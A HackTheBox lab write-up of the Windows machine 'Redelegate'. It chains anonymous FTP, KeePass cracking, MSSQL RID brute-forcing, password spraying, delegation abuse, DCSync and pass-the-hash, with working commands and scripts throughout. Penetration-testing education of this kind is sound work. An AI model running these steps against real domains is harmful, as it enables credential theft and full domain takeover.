HTB: Redelegate Writeup

Redelegate - HackTheBox Writeup

Machine Information

AttributeDetails
NameRedelegate
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.65.73
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Redelegate is a Windows Domain Controller that opens with anonymous FTP access exposing a KeePass database and internal audit notes. Cracking the database with a wordlist derived from the audit’s own “don’t use weak passwords” example nets a local MSSQL account, which is abused to RID-brute the entire domain user list over SUSER_SNAME. Password spraying that user list against the same season-themed wordlist turns up a valid domain account, which sits in a group with ForceChangePassword rights over a second, more privileged account with WinRM access. From there, the chain pivots into a full constrained delegation attack: the compromised user holds SeEnableDelegationPrivilege and GenericAll over a machine account, which is enough to forge an S4U2self/S4U2proxy service ticket for CIFS against the Domain Controller and DCSync the Administrator’s NTLM hash straight out of NTDS.

TL;DR: Anonymous FTP → KeePass crack (season wordlist) → SQLGuest MSSQL local login → RID brute via SUSER_SNAME → password spray → Marie.Curie (HelpDesk, ForceChangePassword) → reset Helen.Frost → WinRM foothold + user.txt → Helen.Frost (SeEnableDelegationPrivilege + GenericAll on FS01$) → constrained delegation abuse (S4U2self/S4U2proxy) → DCSync Administrator hash → pass-the-hash WinRM → root.txt.


Reconnaissance

Port Scanning

The box was reached through a jump host set up for the engagement. Standard AD service fingerprint: FTP, Kerberos, LDAP, SMB, MSSQL, WinRM — all pointing at a Domain Controller for redelegate.vl.

Terminal window
# full TCP sweep against the DC
nmap -sC -sV -T4 -p- 10.129.65.73

Results: FTP (21, anonymous login allowed), Kerberos (88), LDAP (389/3268), SMB (445), MSSQL (1433), WinRM (5985) — consistent with a single Domain Controller (dc.redelegate.vl) hosting the domain redelegate.vl.

Service Enumeration

FTP allowed anonymous login and exposed three files. These were pulled down through the jump host:

Terminal window
# grab everything the anonymous FTP share exposes
ftp -inv 10.129.65.73 <<'EOF'
user anonymous anonymous
binary
ls
get CyberAudit.txt
get Shared.kdbx
get TrainingAgenda.txt
EOF

CyberAudit.txt and TrainingAgenda.txt were internal staff-training notes. The training material warned staff off weak passwords and, in doing so, gave away the exact pattern to avoid: SeasonYear!. Shared.kdbx was a KeePass 2.x database — encrypted, but now with a very specific keyspace to attack.

Vulnerability Assessment

  • Anonymous FTP write/read on a Domain Controller — should never expose credential material.
  • Weak, guessable password policy (SeasonYear! pattern), self-documented in the company’s own training file.
  • MSSQL local account usable to enumerate domain SIDs via SUSER_SNAME — a classic RID-brute vector that requires no domain auth at all.
  • Password reuse between the KeePass vault password and a live domain account.
  • Excessive ACLs: ForceChangePassword and GenericAll handed out well past what a HelpDesk/IT role needs.
  • SeEnableDelegationPrivilege granted to a non-admin account — the single most dangerous privilege short of DA in a delegation-capable domain.

Initial Foothold

Cracking the KeePass Vault

Turned the training hint into a small wordlist of Season+Year! candidates and ran it against the database with John:

Terminal window
# build season/year wordlist from the training-doc hint
printf 'Spring2024!\nSummer2024!\nAutumn2024!\nFall2024!\nWinter2024!\nSpring2023!\nSummer2023!\nAutumn2023!\nFall2023!\nWinter2023!\n' > seasons.txt
# extract crackable hash from the KeePass container and crack it
keepass2john Shared.kdbx > Shared.kdbx.hash
john --wordlist=seasons.txt Shared.kdbx.hash

Cracked immediately: Fall2024!. KeePass’s KDF (AES/ChaCha with a high iteration count) makes brute force expensive per guess, but a tightly scoped wordlist built from a hint the organization handed out itself collapses that cost to nothing — this is the actual weakness, not the KDF.

keepassxc-cli wasn’t installed on the jump host, so the vault was opened with Python’s pykeepass instead:

# dump every entry (title/user/pass/notes) from the cracked vault
from pykeepass import PyKeePass
kp = PyKeePass('Shared.kdbx', password='Fall2024!')
for e in kp.entries:
print(e.title, e.username, e.password, e.notes)

This had to be run from a clean working directory — a leftover /tmp/enum.py on the jump host was shadowing the real pykeepass import path and silently breaking the module. Once run from /tmp/rd/, the vault gave up an SQLGuest credential: SQLGuest:zDPBpaF4FywlqIv11vii.

MSSQL Local Login and RID Brute

The vault credentials didn’t belong to a domain user — they were a local MSSQL login, verified with:

Terminal window
nxc mssql 10.129.65.73 -u SQLGuest -p 'zDPBpaF4FywlqIv11vii' --local-auth

MSSQL exposes the SUSER_SNAME(sid) T-SQL function, which resolves a raw SID to a Windows account name. Since a SQL Server’s SIDs are just <domain SID>-<RID>, any authenticated login — local or domain — can be used to walk RIDs and reconstruct the entire domain user/group list without a single LDAP bind. This is the well-known “MSSQL RID brute” technique (the same one Metasploit’s mssql_enum_domain_accounts module automates); here it was done directly against the TDS protocol using impacket.tds.MSSQL:

# pull the domain SID, then walk RIDs 500-1200 through SUSER_SNAME
from impacket.tds import MSSQL
import struct
ms = MSSQL('10.129.65.73', 1433)
ms.connect()
ms.login('', 'SQLGuest', 'zDPBpaF4FywlqIv11vii')
ms.sql_query("SELECT SUSER_SID('REDELEGATE\\\\Administrator')")
sid = ms.rows[0][''] # binary SID, admin RID stripped to get domain SID prefix
prefix = sid.decode()[:-8] # domain SID minus the last 4-byte RID
for rid in range(500, 1200):
full = prefix + struct.pack('<I', rid).hex()
ms.sql_query(f"SELECT SUSER_SNAME(0x{full})")
print(ms.rows)

Filtering the noisy output down to real account names surfaced a solid domain user list: Christine.Flanders, Marie.Curie, Helen.Frost, Michael.Pontiac, Mallory.Roberts, James.Dinkleberg, Ryan.Cooper, and others.

Password Spray

With a real user list and the season wordlist already in hand, a spray against SMB found reuse of the same vault password on a live domain account:

Terminal window
# spray the season wordlist across every enumerated domain user
nxc smb 10.129.65.73 -u domusers.txt -p seasons.txt --continue-on-success

Result: REDELEGATE\Marie.Curie:Fall2024! — the KeePass password reused directly as her domain login.

Abusing ForceChangePassword → WinRM

Marie.Curie belongs to a group (HelpDesk) that has ForceChangePassword rights over Helen.Frost. This ACE lets any principal that holds it reset the target’s password without knowing the current one — no need to crack anything further. Using bloodyAD over Kerberos:

Terminal window
# get a TGT for Marie.Curie (Kerberos auth required clock sync w/ the DC first —
# the jump host clock was skewed enough to break ticket validity)
impacket-getTGT redelegate.vl/marie.curie:'Fall2024!' -dc-ip 10.129.65.73
# force-reset Helen.Frost's password using Marie's ticket
export KRB5CCNAME=marie.curie.ccache
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl --dc-ip 10.129.65.73 \
set password "HELEN.FROST" 'Password1!'

Verified the new credential landed WinRM access:

Terminal window
nxc winrm 10.129.65.73 -u Helen.Frost -p 'Password1!'
# redelegate.vl\Helen.Frost:Password1! (Pwn3d!)

Pulled the flag directly over WinRM:

Terminal window
nxc winrm 10.129.65.73 -u Helen.Frost -p 'Password1!' \
-X 'Get-Content C:\Users\Helen.Frost\Desktop\user.txt'

user.txt: <redacted>


Privilege Escalation

Helen.Frost’s Privileges

Helen.Frost carries two things that, combined, are lethal in this domain:

  1. SeEnableDelegationPrivilege — the right to configure Kerberos delegation on objects.
  2. GenericAll on the FS01$ computer object (via IT group membership) — full control over that machine account, including its password and LDAP attributes.

Neither alone gets to Domain Admin. Together, they allow standing up a fully attacker-controlled constrained delegation with protocol transition path from FS01$ straight into the DC.

Constrained Delegation Setup (S4U2self / S4U2proxy)

First, take control of FS01$ by resetting its password (GenericAll grants this):

Terminal window
impacket-getTGT redelegate.vl/Helen.Frost:'Password1!' -dc-ip 10.129.65.73
export KRB5CCNAME=Helen.Frost.ccache
# reset FS01$'s password to a known value
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl set password "FS01$" 'Password1!'

Then flip on protocol transition and point delegation at the DC’s CIFS service:

Terminal window
# mark FS01$ TRUSTED_TO_AUTH_FOR_DELEGATION (enables S4U2self)
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
# constrain delegation to the DC's CIFS SPN (enables S4U2proxy to that target)
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'

SeEnableDelegationPrivilege is what let Helen.Frost write these attributes on an arbitrary computer object — normally an SDA/Domain Admin-only capability. With both flags set, FS01$ can now impersonate any user to the DC’s CIFS service via the classic S4U2self → S4U2proxy chain: S4U2self lets FS01$ request a ticket to itself on behalf of an arbitrary user (no consent needed, since it’s TRUSTED_TO_AUTH_FOR_DELEGATION), and S4U2proxy then exchanges that ticket for a service ticket to the target SPN, constrained to whatever msDS-AllowedToDelegateTo allows.

Terminal window
# impersonate "dc" (the DC's own computer account) to itself over CIFS —
# forging a service ticket that lets us read the DC's own filesystem/DRS surface
impacket-getST redelegate.vl/'FS01$':'Password1!' \
-spn cifs/dc.redelegate.vl -impersonate dc -dc-ip 10.129.65.73

Impersonating dc (the machine account) rather than Administrator was the working path here — the resulting CIFS ticket for the DC’s own machine account carries enough rights on that target to drive a DRSUAPI DCSync request.

DCSync

With the forged ticket in the credential cache, secretsdump was pointed at the DC over Kerberos to pull the Administrator hash via the DRSUAPI/DCSync method:

Terminal window
# DRSUAPI needs the DC hostname to resolve — add it if missing
echo '10.129.65.73 dc.redelegate.vl redelegate.vl dc' | sudo tee -a /etc/hosts
export KRB5CCNAME='dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache'
impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user Administrator

This returned the Administrator NTLM hash from NTDS via a DCSync (DRSUAPI replication request) — a legitimate replication permission is normally scoped to domain controllers only, but the CIFS ticket obtained through the delegation abuse gave enough machine-context authority to complete it.

Pass-the-Hash to Root

Terminal window
nxc winrm 10.129.65.73 -u Administrator -H '<redacted>' \
-X 'Get-Content C:\Users\Administrator\Desktop\root.txt'

root.txt: <redacted>


Attack Chain Summary

Anonymous FTP (Shared.kdbx, CyberAudit.txt, TrainingAgenda.txt)
↓
KeePass cracked with season wordlist → Fall2024!
↓
SQLGuest MSSQL local login (zDPBpaF4FywlqIv11vii)
↓
RID brute via SUSER_SNAME → domain user list
↓
Password spray (users × seasons) → Marie.Curie:Fall2024!
↓
ForceChangePassword (HelpDesk group) → reset Helen.Frost
↓
WinRM foothold as Helen.Frost → user.txt
↓
SeEnableDelegationPrivilege + GenericAll on FS01$
↓
Reset FS01$ password, enable protocol transition + constrained delegation to cifs/dc.redelegate.vl
↓
S4U2self/S4U2proxy → CIFS ticket for dc.redelegate.vl
↓
DCSync (DRSUAPI) → Administrator NT hash
↓
Pass-the-hash WinRM → root.txt

Tools Used

ToolPurpose
nmapPort and service enumeration
ftpAnonymous FTP file retrieval
keepass2john / johnKeePass hash extraction and cracking
pykeepassProgrammatic KeePass vault dump
impacket.tds (custom script)MSSQL RID brute via SUSER_SNAME
netexec (nxc)MSSQL/SMB/WinRM auth checks, password spray, command execution
impacket-getTGTKerberos TGT requests
bloodyADLDAP-based password resets and UAC/attribute edits over Kerberos
impacket-getSTS4U2self/S4U2proxy ticket forging
impacket-secretsdumpDCSync against the DC via DRSUAPI

Key Learnings

Techniques Practiced

  • Anonymous FTP triage on a Domain Controller
  • Wordlist construction from social/organizational hints rather than brute force
  • KeePass offline cracking with John
  • MSSQL local-auth RID brute via SUSER_SNAME (credential-free domain enumeration)
  • Domain password spraying with a targeted, context-derived wordlist
  • Abusing ForceChangePassword ACEs for lateral movement
  • BloodHound-style ACL abuse without needing BloodHound itself (GenericAll, SeEnableDelegationPrivilege)
  • Full constrained delegation with protocol transition (S4U2self/S4U2proxy) attack chain
  • DCSync via a forged CIFS service ticket instead of a direct DA account
  • Pass-the-hash for final access

Lessons Learned

  1. Any file exposed to anonymous users — even “just training docs” — can leak the exact password pattern an org uses. Treat internal awareness material as sensitive.
  2. MSSQL local logins are not a dead end; SUSER_SNAME RID bruting turns them into full domain user enumeration with zero LDAP auth.
  3. SeEnableDelegationPrivilege is functionally equivalent to a Domain Admin backdoor when combined with any writable computer object — it should be as tightly scoped as DA group membership itself.
  4. Kerberos is unforgiving about clock skew; keep the attack host’s clock synced to the DC before any ticket operation, or every getTGT/getST call fails cryptically.
  5. When chaining S4U2self/S4U2proxy, the impersonated principal matters — impersonating the target machine account itself (dc) rather than a named admin can be the difference between a service ticket that works for DCSync and one that doesn’t.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • 0xEr3bus, “Redelegate” HackTheBox writeup (machine author: geiseric) — used for explanatory context on the MSSQL RID-brute technique, the HelpDesk ForceChangePassword ACL, and the SeEnableDelegationPrivilege/GenericAll constrained delegation abuse chain.